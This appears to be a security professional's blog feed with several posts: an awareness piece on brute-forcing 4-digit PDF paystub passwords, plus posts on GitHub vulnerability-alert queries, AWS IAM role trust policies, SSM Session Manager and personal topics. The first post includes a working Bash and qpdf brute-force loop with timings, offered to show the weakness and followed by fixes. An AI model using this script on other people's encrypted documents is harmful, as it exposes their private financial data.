Blog Name Blog subtitle 2019-05-17T09:35:00-07:00 Blog Author Brute-forcing Emailed PDF Paystub Passwords in 30 seconds /2019/05/17/brute-forcing-emailed-pdf-paystub-passwords-in-30-seconds/ 2019-05-17T09:35:00-07:00 2019-05-17T09:35:00-07:00 Article Author <p>A recurring theme in my InfoSec career has been to expose people to how their seemingly-secure practices are actually very insecure. Today I will show one such practice that is quite common. The idea is insidious in that it lulls people into a false sense of security when it takes only a couple minutes to break. This is similar to the security awareness training I provide: I show the audience a physical lock that is heavy and has the words "Secure" engraved in it. Then I show how it can be picked in 8 seconds. Getting over this cognitive barrier – that something isn't inherently secure just because it looks that way – is tough for people when they first encounter security.</p> <p>Companies email their employees their paystubs, T4s, or other sensitive documents. This, in itself, is a security risk as email is plaintext and can be stored by any Internet server along the way to its destination (i.e. Internet communications are not a straight line, the data bounces around different servers until it reaches its target). The addition of storing the sensitive information in encrypted PDFs poses a minor improvement to security, but I will show how this improvement is a red herring. Emailing encrypted PDFs is not a substitute for security because they now rely on the strength of the password and the PDF's encryption capabilities, both of which can be broken at a later date on someone else's computer with virtually unlimited time (what we call an <a href=""><em>offline attack</em></a>). Computers are always getting faster, so the time it takes to break a password is always decreasing.</p> <p>However, the key point here is that short passwords are always a bad idea because they can be easily broken. The threat here is that the email with the encrypted PDF is sent to the wrong person. Or perhaps someone left the company and now all their mail is forwarded to their manager. Regardless of how the email makes its way into another person's hands, they now have access to the encrypted PDF attachment and can attempt to break the encryption.</p> <h4 id="attack">Attack</h4> <p>The first thing we will need to do is install <code>qpdf</code>, which is a command-line tool for decrypting and working with PDF files.</p> <pre><code>brew install qpdf </code></pre> <p>Next we will write a quick shell script to automate our actions. Looking at the math, consider that if a 4-digit SIN is used to encrypt the PDF, that means there are only 10,000 possible passwords to check (4 digits of 0 to 9, so <code>10*10*10*10</code>). This is a paltry amount of passwords for a computer and, moreso, verifying PDF passwords can be done rapidly because there are no brute-force protections in place (e.g. waiting X seconds between password attempts).</p> <p>Our brute-force logic can be easily encoded into a Bash shell script that is run from any Linux/Unix command line. Save this file as <code></code>.</p> <pre><code>#!/bin/bash # The first argument when calling this script is the filename of the # encrypted PDF. FILENAME=$1 # Next we loop over a sequence from 0000 to 9999, because this # constitutes the entire space of the last 4 digits of everyone's # social insurance numbers. for i in $(seq -w 1 9999); do # Call qpdf to try and decrypt the PDF file. Throw away any results # because we only care about whether the task succeeded (through its # exit code). qpdf --decrypt --password=$i $1 decrypted.pdf &gt; /dev/null 2&gt;&amp;1 # If the exit code is 0, then the decryption succeeded and the # password worked. if [[ $? -eq 0 ]]; then # Stop processing and end the script. We have found the password. echo "Password found: $i" break fi done </code></pre> <p>Timing this script shows that the password is brute-forced in 30 seconds. I have redacted the password for obvious reasons.</p> <pre><code>$ time ./ paystub.encrypted.pdf Password found: **** real 0m28.429s user 0m7.452s sys 0m16.560s </code></pre> <p>However, this time is quick because the script stops when it finds my password, which is not be true for everyone. Removing the <code>break</code> statement will tell us how long the brute-force will take to exhaust the entire 4-digit number space. Let's see the results now.</p> <pre><code>$ time ./ paystub.encrypted.pdf Password found: **** real 1m52.742s user 0m31.013s sys 1m4.473s </code></pre> <p>So we are looking at 2 minutes to brute-force the entire 4-digit space of an encrypted PDF on a Mid-2012 Macbook Pro. This is a 7 year old computer, with a laptop-specific CPU, so I expect a modern desktop computer with a high-performance CPU to reduce this time dramatically.</p> <h4 id="resolution">Resolution</h4> <p>The proper solution to this problem is to never email PDFs. Instead, email a link where the user can download the file on their own terms. It doesn't matter whether the sending company builds that into their own system or a free service like <a href=""></a> is used, either is a good solution. In addition, that link can expire after X users or Y days, reducing the possibility of offline attacks.</p> <p>However, this is where human nature complicates security. People <em>want</em> to be emailed their PDFs so that it removes a barrier to entry. Thus a compromise must be made that can ensure both usability and security. A solution to this is to increase the password length so the brute-force is infeasible, and let the user choose their own password (plus change it at will). In addition, do not use semi-public information like the last 4 digits of a social insurance number. It is too commonly used for identify verification and is not considered sensitive, so why should it be used for encrypting PDFs?</p> <p>Lastly, it is important to add bulkheading into any security measures. This term comes from the the shipping industry and it ensures that the breach of one layer of security doesn't jeopardize the entire ship. In this situation, breaking one PDF encryption password and means all of the PDFs (past, present, and future) for one person will be broken. To combat this, changing the PDF encryption password regularly will ensure that the exposure of one password does not expose all encrypted PDFs sent to an employee.</p> What I Do at Unbounce /2019/03/08/what-i-do-at-unbounce/ 2019-03-08T10:33:00-08:00 2019-03-08T10:33:00-08:00 Article Author <p>I am often asked the question at networking events, "What do you do at Unbounce?" and I never have an engaging answer. I am working on why that is (future article?) but since I am much better at writing, this is what I will try to say.</p> <p><em>Q: "What do you do at Unbounce?"</em></p> <p>My position is Head of Security, but that's when most people's eyes glaze over or envision me as a security guard. So let me explain it with an example. Have you ever visited a website that was selling a cool new toy, book or idea? Let's say they ask for your name and email address so you can be put on a notification list when the product is available for purchase. There is a good chance that website is hosted on our system, and your personal data you just submitted is now flowing through our servers and being stored there too.</p> <p>My job is to feel the weight and importance of your data. I ensure your data is handled with care, never lost, and only transmitted to the right people. This means I verify everything from employee laptops, networks, and servers are secured and hardened to resist attack. I help to educate those around me that handle your data, in the course of doing their jobs, about the importance of protecting your data. And finally, I ensure that attacks to our systems are rare and not impactful, regardless of whether it came from a hacker, a bot, a storm that floods a data centre, or because someone tripped over a power cord and unplugged a server.</p> <p>The hardest part of my job is explaining to people that we can all perform security and even talk about security without once saying the dreaded word "security". And, barring this paragraph, I did just that.</p> Relaxation /2019/02/22/relaxation/ 2019-02-22T13:35:00-08:00 2019-02-22T13:35:00-08:00 Article Author <p>I’m learning how to relax for the first time in my life. It’s sounds crazy but no one, not even parents, taught me how to relax. And things that could be relaxing (videogames, reading, playing, talking) were given a negative value because they weren't seen as productive. One of the symptoms of not relaxing is the inability to let go of things.<br /> Another is a mind that races when trying to fall asleep.</p> <p>A good friend suggested that I try to relax by doing something simple, something that doesn’t involve activating my brain. Aha! I suggested that I could play more videogames to relax. Nope, she admitted, that usually activates the brain because it is goal-oriented. It’s the same with reading a book, unless that book is fairly mindless drivel. See, I’m the type of person that goes to the beach, sits down and thinks, “okay, yeah, I’m relaxing. Sure. But I should probably be doing something useful.” And that’s the problem. All my life I’ve been trained to be goal-oriented and now someone is telling me that, to relax, I need to do something without a goal.</p> <p>I was stumped. I felt stupid but I needed her to provide a concrete example. She said to think about doing something simple with just your 5 senses. Sometimes focusing on just one sense, and sometimes mixing them. For instance, smell something that makes you feel pleasant and just focus on that for a few minutes. Buy something you like the flavour of, taste it, and savour that flavour. It’s not about thinking about the pleasant flavour, it is about experiencing the pleasantness. And we’ve all been there. Maybe it is a colour you love to look at. Why is it pleasant? Who knows, it just is. So find that colour and look at it for a couple minutes.</p> <p>I’ll admit, my current relaxation technique is not completely fulfilling my friend’s suggestion. But it works for me at this moment, so that’s what matters. I have found success in counting my breaths (in my head).<br /> I find I need to keep track of things in numerical format, and I’m not going to prevent me from doing that. In this case, I just breath normally and count for each inhale and exhale. If I’m breathing faster, that’s fine too. There’s no goal or pattern I’m hoping to meet. If my mind drifts and I forget the count, that’s okay too. I start again at 1 with no judgement. If I make it to 100, I start from 1 again as I find counting “one hundred and one” takes more than the normal breath to think.</p> <p>Since starting two weeks ago, my relaxation technique is working wonders. I use it to fall asleep faster (rather than lying awake for two hours) and to calm myself when I’m in a situation known to induce anxiety. When I have difficult decisions at work or in life, I find the relaxation technique doesn't work 100%, but I try not to fret. It is just a technique that takes time to master, and sometimes my mind just needs to process the worry and move past it. The technique helps mostly by putting a cap on the amount of anxiety or rushing thoughts that happen.</p> <p>If you can relate to these words, I hope that you find a technique that works for you. Just like buying new clothes, you may have to try a few things out first before it fits. Once you do find something that fit, it will feel great. Best of luck!</p> Calculating Vulnerability Alerts with the Github API /2019/02/08/calculating-vulnerability-alerts-with-the-github-api/ 2019-02-08T09:47:00-08:00 2019-02-08T09:47:00-08:00 Article Author <p>At work I recently had to show our risk profile with Github vulnerability alerts and display them in <a href="">Domo</a>. Github's APIv3 (REST) doesn't allow you to query the vulnerability alerts, but <a href="">APIv4 (GraphQL) does</a>. I found the documentation around gathering those results very opaque due to being in <a href="">Preview</a> status, so here are some examples for pulling out the data you need.</p> <p><a href="">Github Vulnerability Alerts</a> can be enabled in the Settings component of a repository. It will scan the dependencies listed in various package managers (requirements.txt, package.json, etc) and build a dependency graph (super cool!). From there, each dependency is checked for CVEs posted on public vulnerability websites. This is useful information but it is difficult to visualize when you have many (in my case, hundreds) of repositories to watch.</p> <p>It was my first time interacting with a GraphSQL API server and I went from "pfft, this is stupid, I like REST" to "Oh wow, this is surprisingly useful". The biggest painpoints are in switching your mindset (many calls into one call) and in building the query tree, but you will get the hang of it quickly.</p> <h4 id="step-1">Step 1</h4> <p>Run the first command. It is shown in <code>curl</code> format, but you can easily translate this to your favourite programming language.</p> <p>You need to provide your Github username and a personal access token to authenticate to the API. The payload will be in JSON format. The <code>tee</code> command allows you to see the output from the <code>curl</code> command but also redirect it to a file for further processing.</p> <p><em>NB: I'm using line breaks (<code>\</code>) to make the command more readable.</em></p> <pre><code>curl --silent \ -H "Accept: application/vnd.github.vixen-preview" \ -u $GITHUB_USERNAME:$GITHUB_PERSONAL_TOKEN \ -X POST \ -d "{ \"query\": \"{ organization(login:unbounce) { repositories(first: 100) { edges { cursor, node { name, vulnerabilityAlerts { totalCount } } } } } }\"" \ | tee payload.1.json </code></pre> <h4 id="step-2">Step 2</h4> <p>Using the resulting file, grab the last record's cursor:</p> <pre><code>$ jq -r '.data.organization.repositories.edges[-1].cursor' payload.1.json AQ </code></pre> <h4 id="step-3">Step 3</h4> <p>A limitation of the Github API is that you can only request 100 repositories at a time. So you have to paginate your queries by asking for 100 results in the <code>first</code> attribute), and using the value of the cursor as the starting point in the <code>after</code> attribute.</p> <p>Run another command and set the cursor to the right place. Don't forget to increment the JSON filename where the output is being written (e.g. change <code>payload.1.json</code> to <code>payload.2.json</code>).</p> <pre><code>curl --silent \ -H "Accept: application/vnd.github.vixen-preview" \ -u $GITHUB_USERNAME:$GITHUB_PERSONAL_TOKEN \ -X POST \ -d "{ \"query\": \"{ organization(login:unbounce) { repositories(first: 100, after: AQ) { edges { cursor, node { name, vulnerabilityAlerts { totalCount } } } } } }\"" \ | tee payload.2.json </code></pre> <h4 id="step-4">Step 4</h4> <p>Repeat steps 2 and 3 until there are no more results.</p> <h4 id="summary">Summary</h4> <p>The JSON file will contain data in the following format:</p> <pre><code>{ "data": { "organization": { "edges": [ { "cursor": "AQ", "node": { "name": "paw", "vulnerabilityAlerts": { "totalCount": 1 } } } ] } } } </code></pre> <p>You can then slice and dice the JSON file with <code>jq</code> to put the data in a more convenient format for uploading to visualization tools like Domo or Excel.</p> Implementing a Double-Lock for IAM Role Switching /2019/01/24/implementing-a-double-lock-for-iam-role-switching/ 2019-01-24T19:33:00-08:00 2019-01-24T19:33:00-08:00 Article Author <p>IAM provides a way for users and roles to become another role. This is known as IAM role switching and uses the underlying <code>sts:AssumeRole</code> action. You can restrict IAM role switching in one of two ways, what I like to call the <em>single lock</em> and <em>double lock</em> methods.</p> <p>With any IAM role switch, there involves a two-way handshake. The person (source) switching to the role (target) must be allowed to assume the role, plus the target must allow the source to assume it. That way, an IAM role switch can be used to switch between roles within the same account, or roles within different AWS account (maybe one that you don’t even own).</p> <p>The target IAM role’s trust policy typically looks like this:</p> <pre><code>{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::01234567890:root" }, "Action": "sts:AssumeRole" } } ] } </code></pre> <p>The <code>Principal</code> element here is key; you can set it to a specific user, given by their username, but that opens a username takeover vulnerability if a user created with the same username as someone has used to have access to a specific account. As you’ll see in the Double Lock section, the use of IAM user IDs is preferred over usernames.</p> <p>If you set the <code>Principal</code> to <code>AWS: *</code>, you have what is known as an IAM backdoor vulnerability (neé <a href="">AssumeTheWorst</a>), allowing anyone in AWS into your account.</p> <h3 id="single-lock">Single Lock</h3> <p>The <em>single lock</em> method involves allowing an IAM user, group or role to assume another role, be in the same account or another account. This involves creating an IAM policy</p> <pre><code>{ "Version": "2012-10-17", "Statement": { "Effect": "Allow", "Action": "sts:AssumeRole", "Resource": [ “aws:aws:iam::01234567890:role/SOME/ROLENAME/HERE” ] } } </code></pre> <p>the problem with the single lock is that the access control is primarily happening on the caller’s side, which the target role cannot trust. Since the target role trusts anyone from the source account, there is no further access control before allowing the caller to assume the role. Anyone who has administrative privileges in the source account and known the ARN of the target role can assume it. But this can be prevented by using a double-lock.</p> <h3 id="double-lock">Double Lock</h3> <p>A double-lock is like the IAM form of a <a href="">man trap</a>. It entails verifying the access control on both the caller’s and the target’s side before allowing the account to be assumed. The trust policy looks basically the same, except for some Conditions added that verify the caller’s identity.</p> <pre><code>{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::01234567890:root" }, "Action": "sts:AssumeRole", "Condition": { "StringEquals": { "aws:userid": [ "AIDAIREDACTEDNI5XNVM" ] } } } ] } </code></pre> <p>Note that IAM user IDs are used instead of usernames. This removes the username takeover vulnerability previously mentioned. IAM user IDs are not displayed in the AWS Web console, but they exist on every user and appear to be random strings. Whether they are random or not doesn’t matter, the important point is that they are a value that is determined by AWS and not by a customer, whereas a username is determined by a customer. Security best practices state that a receiver should never trust information provided by a caller.</p> <p>Lastly, I strongly recommend the use of MFA checks on these types of IAM roles. It adds an extra layer of protection for those users who use the AWS CLI. This is enabled through the use of a Condition statement, as seen below.</p> <pre><code>{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::01234567890:root" }, "Action": "sts:AssumeRole", "Condition": { "StringEquals": { "aws:userid": [ "AIDAIREDACTEDNI5XNVM" ] }, "Bool": { "aws:MultiFactorAuthPresent": "true" } } } ] } </code></pre> Forget SSH on AWS, Use SSM SessionManager /2018/09/21/forget-ssh-on-aws-use-ssm-sessionmanager/ 2018-09-21T14:58:00-07:00 2018-09-21T14:58:00-07:00 Article Author <p><em>I don't often talk of employer, mainly to keep an arm's length distance between them and the writing on my blog. However, one of the great things about working at <a href="">Unbounce</a> is the concept of a Professional Development day (Pro-D). This is just like when you were in school and the teachers would take a day for themselves to improve. At Unbounce, every employee gets one day (8 hours) every 2 weeks to educate themselves and elevate their professional and career interests. Some of my best ideas have come out of things I learned on Pro-D day. Today, I decided to take a moment to learn about the <a href="">AWS Systems Manager Session Manager</a> (whoa, that's a mouthful).</em></p> <p>In this article I'll detail my thoughts on the experience using this new service as well as some insight into the benefits for employees in security and infrastructure roles.</p> <h3 id="what-is-the-ssm-session-manager">What is the SSM Session Manager?</h3> <p>A few years ago Amazon Web Services (AWS) released a service called Systems Manager. It is an agent installed and enabled on each EC2 machine that can report back to the central service in the Web console. It is used to provide inventory reports as well as autonomously run "documents", scripts that are transferred to the EC2 machine to run and do anything with root privileges (think <a href="">Puppet</a>). Dangerous? Absolutely, that's why there is a copious amount of access control and auditing, all backed by IAM. Then the ParameterStore came out, an awesome free secrets manager, which <a href="">I've talked about previously</a> (go read; I'll wait).</p> <p>But then a month ago the SSM team at AWS <a href="">released the Session Manager</a> as a way to replace SSH CLI access to Linux and Windows machines. Even though EC2 machines are often intended to be ephemeral and short-lived ("cattle, not pets") there are situations where you just have to remotely administer the machine. The Session Manager, via the Web console, connects through the agent on the machine and opens a Websocket connection, providing you with a shell on the machine. It sounds like magic, and it helps provide some much needed security around remotely administering machines.</p> <h4 id="the-security-implications">The Security Implications</h4> <p>Allowing someone to remotely connect to your EC2 machine from the AWS Web console is bound to raise some eyebrows at first. Let me help you understand why this is A Good Thing(tm).</p> <p>In my position as Head of Security I talk with technical teams a lot who are building solutions for our customers, and it inevitably ends up being multiple sessions of design reviews where we build a threat model of the new service and try to identify and assess vulnerable points of entry. Whenever an EC2 machine is used the design review starts to get difficult because it needs to provide SSH access for emergency maintenance.</p> <p>That one feature is the cause of so many issues because you have many delicate items that must be carefully maintained: firewall configurations, network ACLs, user accounts, SSH public keys, and two-factor authentication (primarily, <a href="">Duo</a>). I require it from our teams not just because of good hygiene, but also because our customers routinely ask about our operational security. Sure it's not sexy, but it's a necessity.</p> <p>I have had a number of conversations with colleagues how the world would be easier if we could just shut off port 22 (the SSH port). But the need for emergency maintenance stymies that wish. With Session Manager this wish can be granted (sort of; keep reading). Not only that, your infrastructure and systems employees will love not having to manage SSH public keys or modify system user accounts. That work is not only toil, it means your systems are changing and that change could cause outages. We are now much closer to the goal of immutable systems and immutable infrastructure.</p> <h4 id="how-sessionmanager-works">How SessionManager Works</h4> <h5 id="configuration-and-setup">Configuration and Setup</h5> <p>Getting setup was easy, but the Service is new so the latest AMIs don't have the correct version, even in the official package repositories. This will be fixed in week, I imagine. You will be notified of this when you try to start a session. Performing a manual install fixed the problem immediately. I use an Amazon Linux 2 AMI for my testing, so your experience may differ from mine. Your EC2 machine must have an IAM policy allowing access to the SSM service, and other services for delivering logs (CloudWatch, S3).</p> <p>Once the SSM agent was running, the Web console noticed that this instance was available to start a CLI session. I clicked on the button marked <em>Start Session</em> and was brought to a page with a shell waiting for input. A cursory <code>whoami</code> revealed I was <code>ssm-user</code> and I had passwordless sudo privileges. I had full control of everything I needed, just like it was a real SSH session. The responsiveness was good, but I did have a session that didn't work properly – I could only use Enter, Ctrl-C and Ctrl-D. Opening a new session fixed the problem, so I chalked it up to a WebSocket connection problem.</p> <h5 id="logging">Logging</h5> <p>In the AWS Web Console you can setup Session Manager to log the output of any session to an S3 bucket or to CloudWatch Logs. Do this immediately, your security staff will love you for it. Once I terminated a running session on my EC2 machine, I found it took 1-2 minutes for the console log to arrive in the S3 bucket. When I looked at the data, it showed everything printed to the screen. This is amazing… and scary. Be careful to restrict access to this bucket because any secrets shown on the EC2 machine during the session will also exist in the log. The same goes for CloudWatch Logs.</p> <h5 id="access-control">Access Control</h5> <p>The ability to start sessions on EC2 machines can be controlled through IAM policies, which means fine-grained access to paticular machines (or groups of machines) can be provided to your employees. In addition to fine-grained access control, the ability to require MFA on IAM means you are effectively adding MFA capabilities to your EC2 machines without the use of a second service like Duo (sorry Duo, I still love your product though).</p> <p>No SSH keys are used and everyone goes through a shared user account on the EC2 machine. This isn't an issue because the session is named after your IAM user (suffixed with random characters to make it unique), even through an IAM role switch between AWS accounts. This provides auditability without any complex infrastructure maintenance.</p> <p>I should mention that, during all of my testing, there were no ingress rules on my EC2 machine's security group. None. I am so impressed with this technology.</p> <h4 id="integrations">Integrations</h4> <p>I am pleased to see that CloudTrail captures all <code>StartSession</code> events for auditing. This also means that the event can be captured by CloudWatch Events, processed, and sent to other services in AWS or to third-parties (like Slack) to notify interested employees whenever someone starts an "SSH" connection to an EC2 machine. Just think of the monitoring and auditing capabilities that arises with this!</p> <p>Unfortunately, there is no built-in CloudWatch Events pattern for <code>StartSession</code> or <code>TerminateSession</code> so you must fallback on matching against CloudTrail API calls. It's not a big deal, but it means you may have to wait 1-5 minutes for the event to be captured by CloudWatch Events, instead of the usual 500ms with the built-in events. As is usual with new features, it takes time to integrate into other AWS services so I'm certain that a built-in CloudWatch Events pattern will appear soon.</p> <h4 id="some-hiccups">Some Hiccups</h4> <p>Not everything was smooth sailing for me. All of the issues I encountered, except one, was minor and I know they will disappear over time. I'm listing them here to provide a balanced view of what to expect if you start using this service right now.</p> <p>The Websocket connection code isn't the most stable. I had it fail twice in the 10 sessions I started on my machine. It could be my browser (Chrome) but I imagine it's just due to edge cases in the code that will be fixed later.</p> <p>If the SSM Agent fails for some reason, there is no feedback on the AWS Web console. You have to SSH into the machine and parse the agent logs. In my case it was because Cloudwatch Logs encryption was not setup correctly.<br /> The end result was that I could not initiate a new session on the machine until that was fixed. This is a good safe default, but the lack of feedback in the AWS console is unacceptable.</p> <p>After terminating a session, the status of the session in the Web console remains as "Terminating" forever. I suspect this is a bug because I could not see any orphaned sessions on the EC2 machine when I started a new session.</p> <h4 id="can-we-stop-using-ssh-now">Can We Stop Using SSH Now?</h4> <p>So is this the time when we can finally shutdown the SSH daemon (<code>sshd</code>) and close port 22 on our security groups (firewall)? Not yet, but it depends on your situation.</p> <p>I don't place a lot of trust in computers, they fail often enough and services aren't always available 100% of the time. Thus, a disaster plan is needed in the event that you must get onto the machine.</p> <p>I suggest keeping the SSH daemon enabled and running on an EC2 machine using the default keypair. Keep that keypair safely in the hands of a few people for use during emergency situations. Then remove the ingress SSH access on the security group. In the event SSM Session Manager fails, you can always enable the ingress rule again temporarily and get into the machine, but it is otherwise closed off to the world.</p> <h4 id="how-much-does-it-cost">How Much Does it Cost?</h4> <p>Free.</p> <p>Seriously. You only pay for usage of the underlying AWS resources (e.g. EC2, S3, etc.).</p> <h4 id="conclusion">Conclusion</h4> <p>SSM Session Manager is a great new service and I can't believe it is free. Go try it out, the service is easy to setup, provides a great deal more automation features than you expect and it works amazingly well for the rare occasions that you need to remotely manage a machine. But make sure you keep your backup SSH access available until the kinks are ironed out of the system. Your security posture will improve immediately.</p> <p>I honestly can't believe this stuff is free. Great work, Amazon!</p>